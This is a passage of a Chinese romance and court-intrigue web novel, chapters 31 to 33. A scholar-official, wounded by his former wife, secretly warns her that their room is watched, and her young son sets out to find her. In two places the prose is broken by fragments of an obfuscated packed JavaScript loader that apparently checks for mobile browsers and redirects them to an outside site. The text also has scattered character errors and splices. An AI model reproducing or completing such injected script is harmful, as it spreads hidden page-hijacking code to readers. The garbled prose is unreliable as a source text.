他没这个可能舍不得。反正容津岸口是心非惯了。 “花柳病这事,既是六皇子自作孽不可活,也是天赐良机。”他拍了拍容津岸的肩膀,“我已经同他说得清楚,想要尽可能保命,必须要做彻彻底底的阉,割,这可是个很大的动作,昏迷七天七夜都算少的。” 重提了监听一事后,他语重心长: "为你争取到了这么长的时日,仲修,无论是公事还是私事,你都要抓紧一些才好。" *** 叶采薇一路胡思乱想,麻木地将自己整理完毕。重新站在门口时,她深深地呼吸了好几口,才勉强不让自己的心跳蹦出来。 在犹豫什么,害怕什么呢?还是理智回笼,油然而生的愧疚? 她推门入内。 第一眼,就看见容津岸一个人孤零零躺在床榻上。 他清绝俊逸的面容比纸还要白,同样苍白的手背上有青色的血管,虚虚地按在下腹处。她记得,那就是她用发簪深深捅入的地方,当时鲜血淋漓。“过来。”因为失血过多而容色憔悴,唯独那双深渊一样的眼,漆黑地望着她。 叶采薇不做停留,走了过去。她的心本来是跳得极快的,在撞进他的眼眸之后,却莫名迟缓了下来。 没有多余的气味,也没有多余的声音,她走向他。 她极难得在容津岸的眼里看见这样的目光,像是钉死在她的身上,直白露.骨,令她捉摸不透。她满腹疑问,挤在喉咙里。 其中,她最想问他的问题就是: “我差点就杀了你,你为什么还要救我出来?” 31、伤患 发问时,叶采薇控制不住声线的颤抖。 无数种情绪翻涌,偏偏惹不出泪,若是真有泪珠应景,反而能为她的愧疚辩解。没有泪,只有凝视。 容津岸就这样望着她。 漆黑的眼眸,如同冬月里结了薄冰的深潭,乍一看坚硬无比,实则轻轻一踩,便会不察而落入无底的漆黑,万劫不复。叶采薇静静地等着他的答案。 就这样僵持了很久,久到叶采薇觉得他是没有胆量说出口的时候,他突然启唇:“以德报怨,何以报德?子曰:‘以直报怨,以德报德’①。”他慢条斯理,全然没有僵持时的犹疑:“叶采薇,圣人之言,你应当三岁就从叶阁老那里学过吧,为什么二十多岁了,还要问我这么愚蠢的问题?” 这人失了很多血,孤苦伶仃地躺在床上,说话却竟然如此难听,答非所问,前言不搭后语。叶采薇心头的愧怍眨眼间便烟消云散,她也不想和他争口舌之辩,转身就走。 “宁愿去大牢里蹲着,也不愿意高床软枕吗?”容津岸当即叫住了她,声音从她背后传来, “既然已经换了这身干净的衣物,就应当知晓我没死;既然已经知道我没死,就应当知晓进来要面对什么,何必刨根问底,又何必做出一副失望至极的模样来?” 许是因为确实失血过多,容津岸的声音失了不少先前的那份沉钟有力,明明是理直气壮的话,被他说得带着沙哑。叶采薇背对着他。好像他这次有几分道理,是她差点杀了他,她没有什么立场和资格来质问他的所作所为,死者为大。 “叶采薇,你对我下手那么狠,我怎么可能饶了你?”容津岸嘲讽着她的异想天开,也是终于回答了她的问题, "只不过,柴先生为我包扎诊治的时候说了,这次我被你捅得失血过多,如果再夜不能寐,恐怕难以保命。于是,我只能勉为其难,去跟六皇子提,要你过来照顾我。" 叶采薇觉得难以置信极了,转过身来,瞪圆了杏眼:"你,你夜不能寐,关我什么事?" “好问题,倒是把我难住了。”病榻上的容津岸微微仰着头,明明是病容,下颌线仍旧流利得不像话,瞳子里清澈无辜,一副无知无识的模样。 叶采薇忽然想再捅他一次。 "柴先生是神医,他这么说,我也只能这么做,他的话我不敢不听。" 两个人-上一下对视,窗外的日光斜斜打进来,在容津岸清绝的面上投下一片阴影,半明半寐,他说,"我知道,你巴不得我死。" 叶采薇的心跳停了几息。 “但如果在这个节骨眼上我真的死了,薇薇,”容津岸的喉结一滚, “你根本走不出这道门,杀人者偿命,问丽和见雁都会被你连累而死。你一向最讲姐妹之情,上一次见雁被绑架,你差点理智尽失,这一次你确定,要为了你一已私欲,把她们都害死?” 叶采薇心头的弦蓦地绷紧,绷紧,随时可能绷断:“容津岸,你威胁我?” “坐牢的滋味如何,好受吗?”被质问的人突然换了个话题,他那被阴影压住的半边脸更加沉郁,像真的,从天牢顶上那张只有巴掌大的窗口探出来, “潮湿,肮脏,发霉,腐烂,不见天日,蛇虫品或随时爬上来,臭气熏天,到处是法凉的叫唤,还有狱卒恶毒的对待和辱骂,这些,当年我们 起去天牢探望叶阁老时,都已经亲眼见证过了,你还没有 得到教训?" 一提起叶渚亭,叶采薇心头的弦骤然绷断。像是凄风苦雨里艰难前行的扁舟,摇摇晃晃,辗转往复,明明彼岸近在眼前,一个急浪猝然扑来,船翻人亡,毁于一旦。 “是,坐牢的滋味是不好受,你容阁老是天子肱股,自然不会有这一天。”她苦涩而艰难地,撑起了一个挑衅的笑,“你根本不需要被投入天牢,不需要的。以你罄竹难书的滔天罪行,你就应该直接被送上刑场,斩首,凌迟,受干刀万剐而死……” 更加恶毒的话全都堆在了喉咙,叶采薇却见榻上的男人拧眉,他的手背苍白,其上青筋凸起,用力按住,是因为疼痛而下意识的动作。 显然,他被她的言语激怒,进而牵扯到了下腹的伤口,他乌色的薄唇中泄出了艰难的几个字,从形状上难以分辨。 叶采薇很想听,她不知自己正在胡思乱想些什么,蹲下,这才有沙哑的声音过来: "我、我犯了什么罪……" 舌尖顶着上颚,从齿缝中露出。 她的素手够向衾被,被掩盖的住的伤口,是她亲手造成的,她想掀开看看,又害怕掀开,看见鲜血淋淋的惨状。她怂起肩膀,却仍旧克制不住双臂颤抖。 后颈却被覆住。 容津岸的大掌将她擎着往前,忽然滚烫的气息喷在她发红的耳际,沿着耳洞灌入:"房内可能有监听和监视,说话务必小心。" 叶采薇像被蛰了一下,退也退不得,几乎把耳朵贴在了自己的肩膀上,硬生生挤走了容津岸的头和脸。他的掌心温冷,声息却是灼热的。 令她恍惚。 私.密的对话被人听见是什么感受,叶采薇其实也有过经历。 那是七年前,嘉泰四十二年, 叶府上叶渚亭开设的私堂,熙来攘往的第二年。去岁经历了许多事。 容津岸和奚子瑜等人从南边来,到国子监入学,后又受到了叶渚亭的赏识,在叶府的私堂中,与叶采薇温谣等人一起读书;叶采薇与六皇子退婚,又被太子觊觎,在他的寿宴上还差一点被欺凌;温谣的长兄温让在父母的安排下定亲,定亲前却向叶采薇告白,被叶采薇拒绝——但这件事最大的影响,却是与叶采薇一同退婚的温谣,结识了时任大理寺左寺丞的孟崛,两人暗地里频繁往来,很快陷入了热恋。 嘉泰四十二年仲春,孟崛到温府正式提亲,他与温谣的婚事旋即被定下,温谣开始整日为自己的大小事情忙碌。 叶采薇眼见她时时刻刻沐浴在洋洋喜气之中,自然不愿意让自己深陷情爱的泥淖煞她风景,两人还是时常凑在一起说贴心话,她却对容津岸的事绝口不提。 细究起来,又要她怎么跟温谣提呢? 她已经与谷津岸同窗大半年,算不上朝夕相处,却也并非泛泛之交,两人性格迥异,在为人处事上的见解又多半不同,时常话不投机半句多,但转头探讨起经世为文的道理和方法时,又总能碰撞出无数 的火花…… 被这样一个若即若离的人吸引,是再正常不过的事。 但,叶采薇自觉拿得起,已经主动试探过几次容津岸的心意,却回回都以失败告终。 叶采薇了解自己,以她那个宁折不弯的脾性,如若再被拒绝一次,她也只能向叶渚亭撒娇卖痴,用尽手段让叶渚亭把容津岸赶走,从此眼不见心不烦。可容津岸是叶渚亭的高徒,叶渚亭对他的偏爱和赏识有目共睹,如此千里马,为了她的一己私欲,让疼爱纵容她的父亲两难,她是不是太自私、太混蛋了些? 她舍不得放下,舍不得放下。 女之耽兮,不可脱也②。 陷于进退维谷,有一天她忽然发觉,这么久以来,她还从未去国子监中瞧过。 然而国子监明文规定,不允许女子进入,她想了个办法,先旁敲侧击向奚子瑜打听,而奚子瑜悠然自在,摇着折扇:“这事好办得很,叶大姑娘扮作奚某的书童,国子监的门房不会检查的。仲修住的那间寝房十分偏僻,平日里除了洒扫之人,不会有常去的,刚好方便叶大姑娘给仲修一个惊喜。” 叶采薇出奇,奚子瑜并未觉得她的想法和行径有多么不妥、多么离经叛道,于是问他: “如若我没记错,奚公子与你的未婚妻是青梅竹马,她从小和你定亲,还与你同住一个屋檐下,往来方便得很,你怎么也会女扮男装这种微未的把戏?” 奚子瑜只笑,把折扇从右手换到左手,三言两语就轻飘飘揭过话题,转而嘱咐了她几句要紧的话。 貌似玩世不恭的世家公子哥,却能把所有该考虑的事情考虑周全,叶采薇很感激他,也很放心。 第二日,叶采薇涂了满脸的黄粉,扮作书童,跟着奚子瑜混入国子监。 仲春时节,池满草深,鸟倦花残。凋零的海棠、木兰、桃李、杜鹃将石头小径铺得密密匝匝,随池塘边的扶柳摇摆,在假山亭台的罅隙中零落成泥。 一路上,叶采薇见到了许多人,那些奚子瑜提及过描述过的、容津岸在国子监的同窗,个个终于有了准确的样貌。 半路碰见寝房的管事,才知今日容津岸微恙,正在寝房中独自休息。奚子瑜将叶采薇领至容津岸的房门口,她一心牵挂着容津岸的病态,竟然忘记了道谢。 寝房是容津岸长期生活起居的地方,相比于叶府内为他准备的偶尔歇息的厢房,这里有更多他生活的痕迹。柳姨和温谣都曾经说过,要看一个人最真实的面目,他生活起居之地可窥半貌。然而碍于礼教约束,他们都很难有这样的机会。 今日却是难得。 过去,叶采薇只听奚子瑜说过,容津岸家贫,其父曾中过进士、入过仕途,但与长子早亡;容津岸的母亲不识字,一个人把他拉扯大,至于为人几何、又是如何教导他的,容津岸不提,奚子瑜便不好打听。 步入房中,叶采薇忍不住细看。35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14790424|151876||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p> 寝房不大,房内一应生活物品被摆放得条理清晰,各自归位。叶采薇只觉得……整齐得有些过分。 容津岸的生活简朴,柳姨曾经赠过他不少成衣,都被他小心收在箱笼里,从没有穿过,而他自己惯穿的几件外衫已经洗得褪色了,置于衣架上,叠得丝不苟,衣角的弧度都是一模 样的; 书架上他借来的线装书本,厚厚一摞,每一个角都死死对齐,像砌墙时壁垒分明的砖块; 还有桌案另一角上他用完的针线,每一根都打好了一样长度的结,没有半点意外。 在这样井井有条又一尘不染的尺寸之地,床榻上正在熟睡的容津岸,却莫名多了几分难得的烟火气。从前,因着那份与生俱来的孤傲和清高,叶采薇总觉得他是天上的谪仙,忽地落入俗世凡尘,不得不茕茕子立。如今看来,到底是她浅薄。 她一向是热衷经管世间百态的,以为自己早已将钟鸣鼎食到市井间巷上下看透,然而却从来没有想过,容津岸这样出身乡野的惊世贤才,其实从来都是向上而生的。 蓬勃,旺盛,她发现了他不为人知的另一面。 正在由衷感叹,床榻上的容津岸却痛苦地皱起了眉。 叶采薇想起,来时路上碰到的寝房管事,管事说他是胃痛难忍,好在早已备下了止痛的药丸,服用后卧床歇息,便可自愈。 床头的笼屉中静静躺着药瓶,里面的药丸只剩四分之一不到,叶采薇笨拙地起身打水,小心翼翼压住一切可能得声响。 桌案上两只瓷杯,每一只都被他洗得精白无垢,她试好了水温,又倒出药丸小小一粒,喂他服下。 药丸遇水则化,融作深褐色的浊液。容津岸的喉结像小山尖一样,上下滚动,昭彰着药丸已经沿着他的喉咙被他吞入腹中。他眉头深深镌刻着“川”字,眉形似剑凌厉,鼻梁高挺,薄唇无甚血色,沾着外溢的水珠。 叶采薇忍不住去擦,用指腹轻触,这才第一次发现,他苍白的皮肤,冰凉的温度。他的心也是冰凉的吗? “容安……容安….…”叶采薇离开他唇角的一瞬,容津岸皱眉低喃。 他的眼睫又长又浓,在眼底投下阴影,苍白的眼帘上深深的褶皱,蜿蜒着青色红色的血脉,眼帘包裹之下,眼球不住滚动,似乎是他在做噩梦,抑或因为痛苦而意识模糊。 叶采薇默了默,确定他低喃的,是“容”“安”这两个字。 可她不明白,这两个字有什么特殊的含义吗?是……他心中有所牵挂,给他的牵挂之人?会是给他母亲的吗,他的母亲不识字,所以和他约定好,用这两个简单的字来做抚慰? 可是他明明胃痛到无法落地,还坚持要让远在家乡的母亲无须忧虑。他的心不是冰凉的。 叶采薇胸口发涩,心被狠狠撞了一下,疼得发堵,但又好像腊月的寒冰遇上艳艳烈阳,融融化水。眼眶湿得厉害。 “容津岸,容仲修,我、我真是……”她嗓子发干,每一个字都吐露困难。她俯下.身去,凑近,再凑近,几乎贴住了他苍白的面容。从前她或仰望或平视,眼睛离他远,她总觉得他被蔼蔼烟云笼罩,而今近近细看,只见他仿若寂静无人的旷野,星稀月黯,向更远更深处漫溯。 “我没有办法了,没有办法放弃你,我没有办法……”眼泪滚落,在她颤抖的娇靥上留下两道清浅的泪痕。 她凑近再凑近,让容津岸冰凉的鼻尖与她自己的相碰,他温热的鼻息,轻轻浅浅地喷在她的唇峰上,像雪峰融化的袅袅白烟。"以后,以后若是有可能,你也给我写‘容安’二字吧,好不好?" 她知道他不会给她回答,她阖上眼帘,放纵自己吻上他的唇。 生平第一次,与一个男人如此亲密,叶采薇的双耳莫名发烫,烫得有点吓人,好像在对她进行无声的提醒。她是知礼守节的大家闺秀,理应循规蹈矩,不应当做出这样大胆而放.荡的动作。但她想,她就想亲他。 这张总是吐露冷言冷语的嘴,究竟有什么样的魔力呢?为什么可以引得她不顾女儿家的矜持流连忘返,却似乎根本只是无意为之? 容津岸的唇有点发干,她娇嫩的唇瓣与之轻轻相触,给她带来微微的刺麻。 叶采薇胆怯起来,她不敢再进一步往里,柔情似水,缱绻写意,只温软熨帖,上下小心含.吮。之后,依依不舍地站起来,垂眸下望,发现他眉心的锁皱烟消云散,他的俊容平静如水,又似笼罩在三月春风的薄暮冥冥里。 看了会儿,将所有动过的物品放归原处,反复检查,叶采薇转身离开。她不知道的是,在她轻轻关上房门的那一刻,床榻上的容津岸,缓缓睁开了眼。 32、写字 回忆朦胧又清晰,叶采薇勉强从其中抽离,尚有些恍惚。她眨了眨眼,浓黑的羽睫颤动。 那个回忆里她第一次到国子监的寝房中发生的事,在后来真正与容津岸在一起之后,他才无意说漏了嘴,原来那天他其实是醒着的。准确来说,在他喃喃“容安”两个字的时候,他就已经在慢慢转醒了。 她在他的床榻边,给他喂药,听到他的呢喃,不由自主俯低了身体,她靠近他,其实他已经醒来。他听见了她语无伦次的剖白,也承受了她不顾矜持、主动的亲吻,却不愿睁开眼,或者不知道该如何睁开眼,面对她近乎失控的神情。 他不是无知无识的无辜者,他什么都知道。 这种认知令叶采薇深感羞耻,即使容津岸再提起这件事时是完全无意,他也并非是那种心安理得欣赏她窘迫和羞赧的人,反而因为惹出了她无数的羞恼,轻轻地把她抱住。 而现在呢,又是这样一个场面。 她蹲着,容津岸半坐在床榻上,下.身盖着衾被,叶采薇与他相隔极近,她的后颈,还掌握在他的手里。他用只有她才能听见的声音告诉她说,在这间房里,说话须得小心,隔墙有耳,很有可能有监听。 叶采薇的头顶像被炸起了一层隆隆白雾,她只想穷尽目力,立刻寻个地方把自己埋起来,谁也找不见。不敢回想自己的话被人一字不落听去,到底会发生什么。 怔愣了几息,理智回笼,迅速思考。 这间房是在秋闱开始之前,她因为康和县主那个投毒案被迫待了几天的地方,那时候他们的隔壁,有人在监听吗?应当是没有的,否则她不可能全须全尾走出府衙。 而今日,她也是在这间房中,用发簪将容津岸捅伤的。如果说那个时候隔壁有人监听,那他所说的那些话—— 他说佟归鹤被严刑拷打的惨状,说佟归鹤死不承认夹带作弊; 他对她冷嘲热讽,还大方承认自己就是投靠了六皇子,甚至厚颜无耻让她求他,求到他满意了舒服了,才会考虑大手一挥,对佟归鹤网开一面。 这些放肆到近乎狂妄的话,都是他为了激怒她而故意说的吗?他……容津岸根本就没有投靠六皇子,佟归鹤也根本没有遭到严刑拷打? 还有,刚才一见面,他便又开始冷嘲热讽,甚至还用问鹂和见雁来威胁她,这些,也根本就不是出自真心,而是说给别人听的? 他到底有几副面孔,所言所行,又有几分真几分假? 因和他靠得近,叶采薇忽然伸手,掀开了容津岸盖住下.身的衾被。 他下腹上被她用发簪捅出来的伤口被包扎得十分利落,最外层的纱布上只有一点点红色的痕迹,血浆并未沾染到衾被上,状似风平浪静。 叶采薇的眼神冷若冰霜,直直射向他腹上的伤口: "是我下手不够重,竟然没让你死成,真是遗憾至极。" 然后不着痕迹地挣脱了容津岸在她后颈的桎梏,站了起来。 她想,既然是有可能存在监听的,那么房内的对话和活动便一刻也不可以停滞,否则会被对方怀疑她与他正在密谋,从而失掉好不容易撑起来的防御。 ……防御。 防御的一方,是她和容津岸,就这么短短的一句话,她和他便被放在了同一条船上,同一面铁盾之后。 她该相信直觉,相信他说的话吗? 而自我怀疑和确认的几乎同时,她的心头还涌生了无数说不出的怪异。 追根溯源,怪异的起点竟然是,她似乎必须要保持和容津岸的敌对和互相嫌弃的状态,才可以安稳迎接出头之日。 有人要害她,而且不止一个?三皇子?六皇子? 她的处境有多危险? 她不得而知。 不过,反正她和容津岸本来就是一对矛盾从生的和离夫妻,敌对和相互嫌弃是浑然天成的,根本就不需要演,自然而然。她微微往后退了退。 “所以呢,走还是不走?”容津岸微仰着头问她。 说话间,他将衾被又翻了过来,盖住自己,嗓音虚弱无力,也并没有对她恶毒的言语反驳一二。“我叶采薇生来富贵,十指不沾阳春水,从来没有伺候过人。”她迎着他睇过来的浅浅的眼神,目光下移,见他张嘴的口型,是“过来”两个字。 同时,她轻软的袖口被他抬臂拉住,容津岸长长的食指伸直,就这样,在她的手腕写字。他的指腹有着常年学经习文留下的薄茧,她的衣袖和手腕都被迫紧绷着,手腕纤细柔嫩,被他这样一写,写出了一点点痒。 叶采薇不能停止对话。 “你的伤口太深,流的血又这么多,如果要照顾你的话,事情也太多了。又要喂水喂饭,换药净手,还要……”她忽然顿住。与此同时,他在她手腕上写的字,是一个“信”。 虽然字是上下颠倒的,可叶采薇还是能准确读懂他所写的内容。 当年两人在床第间玩闹的游戏,他爱在她身上写字、让她来猜,她由此将本领练就得无比纯熟,时隔多年,竟然真的派上了正当的用场。只有他们知晓。 “信”。 是说他可以替她传信出去,还是要她信任他? 容津岸不可能知晓叶容安的存在,在他看来,她最着紧的人便是问丽和见雁,两人又都被关在了牢里;在外面,没有人可以收到她的信来救她,就算是温谣和孟崛,也远水难救近火。 所以,只能是信任。 "还要,还要什么?" 容津岸却接了她欲言又止的话,白生生一张谦逊的脸:“容某才疏学浅,谨听叶先生教诲。”叶采薇喉咙哽了哽,脸颊不由一红。 因为,后面几个没有说出口的字,是“擦身洗澡”。太具体了。 “容大人何必安自菲薄呢?堂堂探花郎,自称‘才疏学浅’做什么?”叶采薇眼尾上挑,将自己的手肮翻过来,素手往上攀,攀到他的手掌心,也像从前一样,在他的掌心倒着写字, "你分明就是眼瞎耳聋而已,我没有什么多余的话,就是不想伺候。" 从前还是同窗时,她不愿让旁人知晓与他亲密的关系,但偶尔在课堂上下,又实在想和他说点什么,便会让他把手置于外人看不见的桌下,然后悄悄在上面写字。 适才,她在他手心写的是个“鸟”字。 问鹂、见雁,两个人的名字都是她起的,“除非问取黄鹂”“楼倚暮云初见雁”,都是自由飞翔的禽鸟;而佟归鹤大名的“鹤”,也恰巧是出尘清高之鸟,当初他知道她两个婢女的名字时,还借此大方开过玩笑,说与她们二人都有缘,有缘一起天上飞。 叶采薇这样写,自然是把他们三人捆绑在了一起,找容津岸讨要说法的。 “喂水喂饭、净面净手之类的活计,叶先生要是想做,倒也可以,”容津岸面色云淡风轻,就着她的素手轻轻一握,然后放开,“换药呢,叶先生手脚粗笨,还是不麻烦了。至于擦身洗澡之类,还是要把话说得清楚些,既然我和你已经和离了,不该看不该碰的,坚决不能越过雷池。” 说着,他掀开了衾被,缓缓移动身躯,准备下榻,“我可是清白之身,这些事万一传出去了,会引来许多麻烦。”叶采薇—滞。“鸟”这个字,确实还有另一重含义。 当年她第一次读到杂谈中李季兰与刘随州“山气日夕佳,众鸟欣有托”○的故事,一知半解,悄悄来问容津岸,容津岸倒是面不改色之乎者也一番,但她云里雾里非要创根问底,最终换来他面色微红的 一句“以后你就懂了”。 后来她真的懂了,还找了机会,专程嘲笑他迂腐古板。 这些事叶采薇差点忘了,但眼下如此危机四伏的环境,容津岸怎么还能跟她开这种玩笑? 何况,他上次中药,她也不是没有…. 叶采薇摇了摇头,不让他轻易转移了话题,瞪着眼逼视他,只见他薄唇微抿,缓缓挪动双腿,下了床榻后,一点一点套上鞋,再慢慢地站了起来。 “柴先生的意思是,你只需要和我睡在同一张床榻上,我便可以不再夜不能寐,”容津岸绕过她走向福室, "旁的,你什么也不用做。" “你、你会对我这么好?”叶采薇不假思索,冲口而出。 然后悔意顿生,明知道有监听在,这个反问实在引人浮想联翩。 但几乎同时,另一个念头迅速蹿入了她的脑海,如同惊雷一样,“嘭”地炸开。 从康和县主给容津岸下药那晚开始,连续三四个晚上,他用了各种各样的由头,像耍赖一样,非要她跟他同榻而眠—— 难道,全都是他精心的算计? 他把她当成了治疗他失眠的药包?他又是什么时候开始失眠的,为什么会失眠? “叶采薇,收起你那可笑的幻想,我并非海量汪涵,怎么可能以德报怨呢?”容津岸背对着她。他的背脊挺得笔直,雪白的中衣贴身而下,勾勒出他利落紧实的身形,他嗤笑 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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幸好她眼下是在这里,虽然时刻被监视监听,却还有高床软枕,可以让身子舒服一些,若是果真一直在大牢里关押,遇到癸水,恐怕要她前后脱一层皮,才能彻底挺过这几日。 又想到,问的和见雁那两个姑娘,癸水是刚刚来过的,在牢里的几日不会有这个烦恼。她在刚见面时问过她们,她们都说并没有受什么委屈,但愿她们都可以一直安稳下去。 迷迷糊糊地想着,腹中的坠痛愈演愈烈,浪潮一样时高时低,但叶采薇只能咬牙强忍,什么也不说。 一来,眼下的情况实在特殊,府衙里不仅没有止痛的药剂,连汤婆子这样的东西都不会备下,她身份尴尬,绝对不能在这种事上麻烦人; 二来,也是更重要的一点,如若真的惊动了郎中大夫,为她看病诊脉,那她曾经有过生育一事,岂不是再也瞒不住了? 腹中坠痛忽上忽下,叶采薇无可奈何地蜷缩在床榻上,闭着眼,只能浑浑噩噩挨着,不知时辰过了几何。大约是到了入睡的时分,她听觉模糊,有缓慢的衣料摩擦声传来。她睡在床榻的里侧,面朝雪白的墙壁,背后的床榻动了动,又动了动,忽然,有一只手伸了过来,不需要找寻,温柔地覆住了她翻江倒海的小腹。 隔着小衣和中衣,熨帖的热意徐徐传来。 容津岸的手掌宽厚又紧实,替代了汤婆子给她传递舒暖,又比汤婆子多一个优点,不会越来越凉,至半夜彻底成冰。叶采薇的身体原本在他靠过来的一刻僵硬无比,也因着这难得的书暖,而慢慢放松下来。 她仍旧蜷缩着,他从后面半抱着她。他不说话,在她的听力极其敏感的时候,也只能听见他匀停自然的呼吸声,绵长而沉稳。之前几次,和他同榻而眠,从来都是各自楚河汉界,井水不犯河水的。如今,却因为一场突如其来的癸水,让他不声不响,打破了那个微妙的平衡。 容津岸已经睡着了,而她呢,她要在这个情况下入睡吗? 因为源源不断的燠热,癸水已然暂歇了不少。而癸水再痛,也痛不过生叶容安的时候,一只脚踏进鬼门关的经历,她毕生难忘。叶容安呢?他会不会知晓他的阿娘在应天的遭遇,会不会因为担忧她,而无法入眠? 叶采薇绝对想不到,叶容安不仅因为担忧她而无法入眠,早熟而早慧的他,甚至自己想办法,坐上了来应天的车。 33、痴 应天是南直隶省会,距离东流,有整整七百里远。南直隶秋闱舞弊案震惊朝野,消息传回东流时,已经是几日之后了。 一石激起千层浪,将东流上上下下淹没,潮水难以退却。 几个考生的家人们,之前欢欢喜喜将考生送走,一直在家中求神拜佛静候佳音,却不想消息比人先回来,还是惊天噩耗。他们基本都是东流的富户,见过不少世面,斥重金投资子孙的考学,只为光耀门楣。卷入舞弊案,是极其严重的事情,他们知轻重,各自付度一番,便集结起来,齐齐上了奚家。 奚家是东流第一大望族,声望已过百年,在五十余年前还曾出过内阁首辅这样的大官,县里乡亲出了如此重大之事,自然想到寻求奚家的庇护。 然而此事的复杂程度,让奚家的现任家主十分为难。 肩上担着担子,他自然比县里其他人都要早收到消息和他 样的是青莲书院的山长,两人一早碰头,将各自得到的消息综合 番,从陷约中拨云见月,大致可以推测,这件惊天大案的背后,跟三呈子齐 王脱不开干系。 自嘉泰四十四年,废太子因逆案爆发而倒台之后,三皇子作为皇子中年龄最长者,虽然没有被正式册立为储君,由他继任皇位,却几乎是朝野上下心照不宣之事。眼下,这桩通天大案却牵扯到三皇子,而天子亲自发旨,派下来审理此案的钦差,又偏偏是从前名不见经传、早已之藩的六皇子。稍微有点政治敏.感的人,也能看出此案的水太深太浑,稍不注意,就会被卷入其中,万劫不复。 但东流的考生被牵连进去,又毕竟是几条活生生的人命。 青莲书院的山长告诉奚家家主,这几位考生的天资都很高,又有名师悉心教导,个个都在青莲书院的一众学生中拔尖瞩目,若没有这析通天大案,他们别说在秋闱中举,就是之后的看闱、到保和殿参加 殿试,也都是极有可能金榜题名,为东流争光添彩的。 是以,经过再三考虑之后,尽管十分为难,奚家家主还是做出决定。 奚府大宅的正堂被来客填满,个个脸上十万火急,坐立难安,见奚家家主出来,殷切期盼,认真聆听他对他们的承诺: “奚家自前朝起,便受到东流百姓的爱戴和拥护,至今已有两自多年。奚家与诸位同根同德,吃的是东流的米粮,喝的是东流的河井,为东流百姓解决问题,是奚家义不容辞的责任。请诸位放心,鄙人在此保证,无论如何,就算是把奚家赔进去,也一定会将那几名考生救出来的!" 一番慷慨陈词,令在场众人无不动容,又听及“把奚家赔进去”这样力拔千钧的代价,纷纷表示无须言重、尽力即可。这样的你来我往,奚家家主好生劝慰一番,考生的家人们吃了定心丸,捶胸顿足,终于放心离开。 折腾了大半天,奚家家主头疼欲裂,茶也喝不下去,负手从正堂离开。路过连廊,见起少奶奶梅若雪端端怯怯地立在那里,似乎已经等了他许久。 "伯父,"待奚家家主负手踱步到跟前,梅若雪小施了一礼,低眉顺眼道: “秋闱一事,儿媳也收到了消息。伯父为了东流百姓殚精竭虑,儿媳钦佩不已。儿媳思笨,不懂其中的弯绕,想提前求问伯父,该如何把握分寸,为疏通准备多少银两?”奚家家主是奚子瑜的伯父,奚子瑜生父早亡,从小养在伯父膝下,是以,梅若雪从嫁入奚家第一天起,便在他面前自称“儿媳”。 奚家家主伸手按了按紧锁的眉心,仍旧无法纾解心头的烦闷,闭着眼,不耐烦从齿缝中漏出: “若雪执掌中馈这么些年,里里外外替老七替整个奚家操持,实在辛苦,又还能未雨绸缪,想到这些。能支出多少来?”梅若雪寄居奚家多年,在长辈面前向来俯首帖耳,她根本不敢直视公爹的脸,小心揣度了一番他的言外之意,伸出手,比了个数。 奚家家主停顿许久,终于道: “自从老爷子从内阁致仕,这么多年,奚家人在官场上,算是如履薄冰。”然后又深吸了一口气:“东流出了这么大的事,若是当年,老七没有任性妄为,从翰林院辞官,如今我们所有人,便都能倚仗他了吧?” 辞官的决定是奚子瑜一个人做的,等他回到东流时,一切都为时已晚。但眼下,他离开东流外出做事已有两个多月,奚家家主明着指责的是奚子瑜,暗地里却是在敲打梅若雪。 梅若雪哪里听不出来? 她哽了哽喉咙,又伸出了手,小心翼翼地比了一个数字,将头埋得更低: 是儿媳糊涂,最近里里外外事情太多,好多事都忘了。前两日,几个庄子才报上来说,今年秋收不如往年;漕帮的水运谈了来谈去,还是要多抽半成,铺子上的成本也跟着张;还有大爷三爷在湖广和山西,上下打点要用的银子,才给他们凑出来送过去……" “秋闱这事,也确实是棘手得很。”奚家家主的语气缓和了不少。梅若雪紧紧抿着嘴唇,认真听他讲。 “大谷和三爷的品级,倒是能说得上几句话,但一个在湖广一个在山西,远水解不了近渴,让他们出面肯定来不及;老四倒是在南直隶,就在应天,但市 司的差事, 和秋闱、按察使司八竿子打不着, 这些银子,应当也够他上下疏通一番。" 说到此处,奚家家主一顿, “倒是青莲书院的山长那边,他桃李遍布,门生众多,在相关衙门做事的也有不少。他今日离开前说要立刻写信问问情况,想来应当是比我们奚家人管用的。” 关于秋闱案的话已至此,公媳两人又站着不咸不淡地说了几句,在晚霞最后一丝余晖被黑夜吞没的时候,梅若雪见公爹的面色实在太差,便赶紧告辞离开。 谁也没有发现,在他们看不见的角落里,叶琛缩着小小的身子,死死捂住自己的口鼻,从头到尾听了两人的对话。 今日凑巧,叶琛被梅若雪从别院接到奚府大宅,和她与奚子瑜的一双儿女玩耍。 谁知道没过多久,秋闱舞弊案的考生家长上门,闹出的动静极大,大宅里的下人们又是少约束、多口舌的,叶琛耳聪目明,很快从那些或张扬或低调的讨论中,听出了门道。 那个案子是个通天的大案,而他的阿娘—— 青莲书院唯一的女先生,也卷入了那个案子里,早在几日前就被关进了大牢,从此杳无音讯。 县里出了这么大的事,奚府大宅无论前院后院都跟着变得乱糟糟的,谁也没有注意到叶琛这个四岁的孩童去向何处。 叶琛想要知道更多,循着大致的方向,一个人偷偷溜到那议事正堂的角落,观察着每一个人的表情动作,将他们说的话,仔仔细细听下来。 考生的家人们如同天塌了一般哭天抢地,给奚家家主略下了又被强行拉起来,青莲书院的山长则捻着花白的胡须,不断上下安抚。几番来回拉扯,奚家家主拿出了恳切无比的态度,握住那些来求他帮忙 的人的手,郑重允诺,会尽一切办法,救出被牵连的几名考生。 从头到尾,没有人提起姚先生。 她是那些考生的老师,三年来兢兢业业,将平生钻研所学,对学生们倾囊相授。 